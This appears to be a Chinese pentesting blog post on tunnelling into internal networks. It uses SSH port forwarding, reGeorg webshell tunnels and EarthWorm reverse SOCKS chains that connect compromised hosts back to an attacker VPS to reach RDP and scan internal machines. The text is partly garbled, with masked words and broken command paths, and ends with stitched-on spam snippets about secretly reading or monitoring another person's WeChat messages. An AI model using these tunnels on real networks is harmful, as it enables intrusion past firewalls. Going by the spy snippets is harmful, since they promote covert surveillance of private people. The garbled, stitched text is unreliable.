内网渗透测试:隐藏通讯隧道技术(上)
在实际的 *** 中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
上一节中,我们讲解了 *** 层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS *** 技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。
应用层(Application layer)是七层OSI模型的第七层。应用层直接和应用程序接口并提供常见的 *** 应用服务。应用层的隧道技术主要利用应用软件提供的端口来发送数据,常用的协议有SSH、HTTP/HTTPS和DNS。这里我们主要讲解SSH和HTTP/HTTPS,DNS隧道我会在未来专门写一个专题进行讲解。
SSH协议
SSH 为建立在应用层基础上的安全协议,专为远程登录会话和其他 *** 服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH客户端适用于多种平台,几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行SSH。
一般情况下,SSH协议的传输是被允许通过防火墙及边界设备的,且SSH传输过程加密,很难区分是合法的SSH会话还是攻击者建立的隧道,所以经常被攻击者所利用。攻击者使用SSH隧道突破防火墙限制后,能够建立一些之前无法建立的TCP连接。
SSH 命令
ssh 用户名@ip -p
创建ssh隧道常用的参数有:
-C:压缩传输,提高传输速度
-f:将ssh传输转入后台执行,不占用当前的shell
-N:静默连接,连接后看不到具体会话
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS *** )
-p:指定ssh端口
本地转发实验
测试环境:
攻击者vps
模拟外网IP:192.168.1.101
内网web服务器
模拟外网IP:192.168.103
内网IP:192.168.52.128
内网受害机Windows Server 8
内网IP:192.168.52.138
攻击者vps可以访问内网web服务器,但不能访问内网受害机Windows Server 8;内网web服务器与内网受害机Windows Server 8可以互访。我们的思路是:以Web服务器为跳板,访问Windows Server 8的3389端口。利用的前提是已经拿到了明文密码。
在攻击者vps上面执行:
ssh -CfNg -L 1153(vps端口) : 192.168.52.138(目标机ip) : 3389(目标端口) root@192.168.1.103(跳板机)
//攻击者vps主动去连web
-L:本地端口转发
执行以下命令,查看本地1153端口是否已经建立连接。可以看到,在进行本地映射时,本地的ssh进程监听了1153端口。
这里的原理是,以web服务器192.168.1.103为跳板,将内网Windows Server 8(192.168.52.138)的3389端口映射到了攻击者vps的1153端口上,我们执行如下命令,访问vps本地1153端口,就可以访问内网Windows Server 8(192.168.52.138)的3389端口了:
rdesktop 127.0.0.1:1153
可以看到,成功连上了内网Windows Server 8的远程桌面。这种 *** 只需要在攻击机执行一条命令,还是比较方便的。
远程转发实验
还是相似的测试环境,但此时内网中没有了边界设备,所以攻击者vps不能访问内网中的这三台机器;内网web服务器可以访问外网vps,windows server 8和域控制器都不能访问外网vps。我们的思路是:通过外网vps访问内网windows server 8的3389端口。
在web服务器(192.192.52.128)上执行如下命令,
ssh -CfNg -R 3307(vps端口):192.168.52.138(目标机ip):3389(目标端口) root@192.168.1.101(vps)
// 受害机主动连接vps
-R:远程端口转发
vps上面可见:
这里,我们以web服务器为跳板,将vps的3307端口的流量转发到了内网windows server 8(192.168.52.138)的3389端口上,我们访问vps的3307端口,即可访问内网windows server 8的3389端口远程桌面了:
动态转发实验
前面介绍的端口转发类型都叫静态端口转发,所谓的 “静态” 是指应用程序服务器端的 IP 地址和监听的端口是固定的。试想另外一类应用场景:设置浏览器通过端口转发访问不同 *** 中的网站。这类应用的特点是目标服务器的 IP 和端口是未知的并且总是在变化,创建端口转发时不可能知道这些信息。只有在发送 HTTP 请求时才能确定目标服务器的 IP 和端口。在这种场景下静态端口转发的方式是搞不定的,因而需要一种专门的端口转发方式,即 “动态端口转发”。SSH 动态端口转发是通过 Socks 协议实现的,创建动态端口转发时 SSH 服务器就类似一个 Socks *** 服务器,所以这种转发方式也叫 Socks 转发。
测试环境如下:
我们在vps上面执行如下命令,建立一个动态的SOCKS *** 通道,
ssh -CfNg -D 7000 root@192.168.1.103(内网web)
这里,命令中不需要像前两个一样指定目标服务器和端口号。执行上面的命令后 SSH 客户端(攻击机vps)就开始监听本机 localhost 的 7000 端口。你可以把本机上浏览器 *** 配置中的 Socks 服务器指定为127.0.0.1:7000。然后浏览器中的请求会被转发到 SSH 服务端(内网web服务器),并从 SSH 服务端与目标站点机器(内网文件服务器)建立连接进行通信。
可以看到,在使用动态映射的时候,本地主机的ssh进程监听了7000端口。我们在攻击者vps上面打开浏览器,进行设置,设置 *** *** :
这样,就可以通过浏览器访问内网文件服务器了:
这里的动态端口转发其实就是建立一个ssh加密的SOCKS *** 通道,SOCKS *** 它只是简单地将一端的系统连接到另外一端,把你的 *** 数据请求通过一条连接你和目标机器之间的通道,由一端转发到另一端。任何支持SOCKS协议的程序都可以使用这个加密通道进行 *** 访问。
HTTP(S) 协议
HTTP协议即超文本传输协议,是Internet上行信息传输时使用最为广泛的一种非常简单的通讯协议。部分局域网对协议进行了限制,只允许用户通过HTTP协议访问外部网站。HTTP Service *** 用于将所有的流量转发到内网。
reGeorg
下载地址:https://github.com/sensepost/reGeorg
首先我们需要明白正向 *** 和反向 *** 的区别:
正向 *** (Forward Proxy)
Lhost-->proxy-->Rhost
Lhost为了访问到Rhost,向proxy *** 服务器发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向 *** 就是proxy代替了我们去访问Rhost。
反向 *** (reverse proxy)
Lhost<-->proxy<-->firewall<-->Rhost
和正向 *** 相反,Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。
简单说就是正向 *** 是指攻击机主动通过 *** 来访问目标机器,反向 *** 是指目标机器通过 *** 进行主动连接。我们平常使用的reDuh、tunna,和reGeorg一样,都是正向 *** 。一般都是用户上传一个 *** 脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做 *** 转发端口和流量。
reGeorg是reDuh的升级版,主要功能是将内网服务器端口的数据通过HTTP(S)隧道转发到本机,实现基于HTTP协议的通信。
测试环境如下:
内网有三台主机,其中web服务器有两个网卡,分别连接内外网,其余内网两台主机无法与外网通信,但可以与web服务器win7互访;攻击者vps可以访问web服务器。我们的思路是利用HTTP Server *** ,将攻击者所有流量转发到内网中,实现对内网其余主机的控制。
将reGeorg的对应脚本文件tunnel.nosocket.php,此时攻击机访问远程服务器上的tunnel.jsp文件,页面返回“Georg says, 'All seems fine'”后,攻击机kali在本地用reGeorgSocksProxy.py脚本监听本地的9999端口,即可建立一个通信链路。
操作时将tunnel.(aspx|ashx|jsp|php)上传到目标Web服务器,具体取决于远程服务器支持什么样的语言。我这里是php服务器,所以我们上传tunnel.nosocket.php,php这里分为有socket与无socket的,tunnel.php需要使用dl()函数加载socket模块,其需要修改php.ini,所以我们使用的是tunnel.nosocket.php。
然后攻击者执行:
python reGeorgSocksProxy.py -u http://192.168.1.7/tunnel.nosocket.php -p 9999
程序卡在“Georg says, 'All seems fine'”表示正常运行。
接下来安装并配置proxychains-ng
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
http:///hkjs/configure
make && make install
cp http:///hkjs/src/proxychains.conf /etc/proxychians.conf
cd .. && rm -rf proxychains-ng
编辑proxychains配置文件:
vim /etc/proxychains.conf
在末尾添加
socks5 127.0.0.1 9999 // 9999为你自己的端口,需要与reGeorg中设置的端口相同
现在就可以在攻击者vps本地机器上使用proxychains对应用程序进行 *** 来访问目标内网中的资源了,使用 *** 即在工具名前面加上proxychains4,如nmap通过proxychains *** 扫描内网windows server 8主机的端口:
proxychains4 nmap 192.168.52.138 -Pn -sT -p 3389 // -Pn和-sT必须带着
(可以看见设置 *** 的shell里面有数据传输)
接下来打开内网windows server 8主机的远程桌面:
proxychains4 rdesktop 192.168.52.138
成功。当然windows系统可以使用SocksCap等工具进行 *** :
应用层的隧道还有有一个重要的技术就是DNS隧道技术,由于小编能力太菜,~~呜呜呜~~,很多东西也是现学现卖,所以我将在未来专门写一个专题来对其进行介绍。
Socks *** 即全能 *** ,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。socks *** 相应的采用socks协议的 *** 服务器就是SOCKS服务器,是一种通用的 *** 服务器。利用SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。
常见的 *** 场景有如下三类:
服务器在内网中,可以任意访问外部 *** 。
服务器在内网中,可以访问外部 *** ,但服务器安装了防火墙来拒绝敏感端口的连接。
服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部 *** 。
EarthWorm
下载链接:https://github.com/rootkiter/EarthWorm
https://codeload.github.com/idlefire/ew/zip/master
EW 是一套便携式的 *** 穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂 *** 环境下完成 *** 穿透。EarthWorm能够以“正向”、“反向”、“多级级联”等方式打通一条 *** 隧道,直达 *** 深处,用蚯蚓独有的手段突破 *** 限制,给防火墙松土。该工具包中有多个可执行文件,以适应不同的操作系统(Linux、Windows、Mac OS、ARM-Linux均包含在内)
reGeorg
下载地址:https://github.com/sensepost/reGeorg
reGeorg的主要功能是将内网服务器的端口通过HTTP(S)隧道转发到本机,形成一个回路。其可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。reGeorg利用webshell建立一个socks *** 进行内网穿透,服务器必须支持 ASPX、PHP、 *** P中的一种。
SockCap64
下载地址:http://www.sockscap64.com/
SockCap64是一款在Windows环境中相当好用的 *** 软件,其可以使Windows应用程序通过SOCKS *** 服务器来访问 *** 。
Proxifier
下载地址:https://www.proxifier.com/
Proxifier也是一款非常好用的全局 *** 软件,其提供了跨平台的端口转发和 *** 功能,适用于Windows、Linux、Mac OS平台。
ProxyChains
下载地址:https://github.com/rofl0r/proxychains-ng
http://proxychains.sourceforge.net/
ProxyChains是一款可以在Linux下实现全局 *** 的软件,非常好用,可以使任何应用程序通过 *** 上网,允许TCP和DNS流量通过 *** 隧道,支持HTTP、SOCKS 4、SOCK 5类型的 *** 服务器。
下面讲一下这几个工具的具体用法。
EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。ssocksd命令用于普通 *** 环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于复杂 *** 环境的多级级联。
测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,内网其他机器之间均不能直接连接。
(1)正向 SOCKS 5 服务器
适用于目标机器拥有一个外网IP地址的情况下,如上图内网web服务器的模拟外网IP为192.168.1.7。在web服务器上面上传对应的ew程序并执行:
ew_for_Win.exe -s ssocksd -l 888
这样,就在内网web服务器上面架设了一个端口为888的socks *** 服务。接下来我们就可以设置proxychains或SocksCap64添加这个socks *** 服务器(192.168.1.7)的 *** 即可。配置proxychains:
打开内网Windows server 8的远程桌面:
proxychains4 rdesktop 192.168.52.138
(2)反弹 SOCKS 5 服务器
正向 SOCKS 5 服务器适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们怎么访问内网的资源呢?
在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了。
在攻击者公网vps上面上传ew_for_linux64并执行:
http:///hkjs/ew_for_linux64 -s rcsocks -l 1080 -e 1234
该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的 *** 请求转交给1080端口,这里1234端口只是用于传输流量。
接着,在内网web服务器(192.168.52.143)上传ew_for_Win.exe,并执行命令:
ew_for_Win.exe -s rssocks -d 39.xxx.xxx.210 -e 1234
该命令的意思是在受害者web服务器上启动SOCKS5服务,并反弹到公网IP地址为39.xxx.xxx.210的1234端口上。此时vps上面显示“rssocks cmd_socket OK!”说明连接成功:
现在就可以在攻击者计算机上面配置proxychains或SocksCap64等工具通过访问公网vps(39.xxx.xxx.210)的1080端口来使用内网web服务器上面架设的socks4 *** 服务了。如我们打开内网文件服务器的远程桌面:
proxychains4 rdesktop 192.168.52.141
(3)二级 *** 环境(a)
适用于目标机器拥有一个外网IP地址的情况下。
右侧内网A主机有两个网卡,一个连接外网(192.168.1.7),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权。
我们先将ew上传至B主机上面,并用ssocksd方式启动1234端口的正向socks *** :
ew_for_Win.exe -s ssocksd -l 1234
接着,将ew上传至A主机中,并执行命令:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.52.138 -g 1234
该命令将A主机1080端口收到的 *** 请求转发给B主机(192.168.52.138)的1234端口。
现在,我们就可以通过访问A主机的公网IP(192.168.1.7)的1080端口来使用架设在B主机上的socks *** 服务了。配置proxychains:
用ssh连接内网服务器(192.168.52.128):
连接成功。
(4)二级 *** 环境(b)
刚才那个适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们该怎么办呢?
如上图环境,A主机既没有公网IP,但能访问外网,也不能访问内网资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权限。
这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks *** 服务,可以通过访问vps来访问B主机上面架设的socks服务。
我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的 *** 请求发送给1234端口,执行命令:
ew_for_linux64 -s lcx_listen -l 1080 -e 1234
然后将ew上传至内网B(192.168.52.138)主机,并利用ssocksd方式启动999端口的正向socks *** ,执行命令:
ew_for_Win.exe -s ssocksd -l 999
最后,将ew上传到内网A主机上,在A主机(192.168.52.143)上利用lcx_slave方式,将公网vps的1234端口与内网B主机(192.168.52.138)的999端口连接起来,执行命令:
ew_for_Win.exe -s lcx_slave -d 39.xxx.xxx.210 -e 1234 -f 192.168.52.138 -g 999
此时,就可以设置proxychains等 *** 工具,通过访问公网vps的1080端口来使用架设在内网B主机上的socks *** 服务了。如下设置proxychains:
访问内网机器(192.168.52.141)的远程桌面:
访问成功。除了proxychains,我们还可以使用proxifier、sockscap64等 *** 工具。如下,我们使用sockscap64来访问内网机器。
打开,sockscap64,将你想要进行 *** 的应用程序添加进去( *** 很简单,找到可执行文件后拖进去即可),这里我把远程桌面程序添加了进去
点击上面的“ *** ”,进去添加一个 *** ,设置好vps或 *** 服务器的IP和指定的端口。
添加好后点击右下角“保存”。回到主界面,点击那个“闪电”形状的按钮,测试 *** 服务器能否正常连接
正常连接后,右击远程桌面程序,选择“在 *** 隧道中运行选中程序”,就可以访问内网远程机器了
同样的 *** ,我们也可以用浏览器来访问内网的资源,比如我们访问内网服务器192.168.52.128上面的资源:
参考:
https://blog.csdn.net/Kris__zhang/article/details/106821917
https://www.tuicool.com/articles/JNRn6nY
http://rootkiter.com/EarthWorm/
《内网安全攻防:渗透测试实战指南》
笔者尚为正在入门的小白一枚,文中若有不当之处,还请各位大佬多多指点,小生还需多向前辈们学习!
怎么查对方的微信聊天记录? 查出对方微信聊天记录的方法有:使用第三方软件、通过云端备份获取聊天记录、通过微信电脑版获取聊天记录、通过微信聊天记录恢复工具获取聊天记录、直接查看对方的手机微信。具体只需打...
甜仇为什么不在小镇姗姗了?据了解到,早在去年时,网上就有传闻称,甜仇离开小镇姗姗,解约了。近日,因为王思聪喂食新女友照片曝光,女方貌似甜仇,因此这位抖音网红甜仇吸引了不少网友的关注。比如,甜仇真名哪里...
本文目录一览: 1、如何在清华同方电脑上伪装黑客 2、怎样才能把自己变为一名黑客? 3、请问怎么才可以当电脑黑客啊?? 如何在清华同方电脑上伪装黑客 在清华同方电脑上伪装黑客的步骤如下:首先...
阵容 云顶之弈10.19版本上线了,那么这个全新的版本中,什么阵容最厉害呢,新版本的吃鸡上分,是很多玩家关心的问题,云顶之弈新版本上分阵容如何搭配?不少大佬玩家也总结了一些厉害的阵容,这里为大家说一...
LOL英雄联盟这款游戏相信国内的不少网友都由玩过,在英雄联盟中有的时候一些小伙伴会因为某些不良行为而遭到封号处罚,封号处罚官方是会给出封号时间和封号原因的。下面就告诉大家游戏LOL怎么查询封号记录。...
怎样监视一个人微信,偷偷监控对方微信记录手机号查询个人信息内容(键入真实身份在网上请人)根据移动信号精准定位的作用是挪动经销商出示的一种个性化服务,是根据纪录其手机上那时候所属通信基站管辖区直到该手机...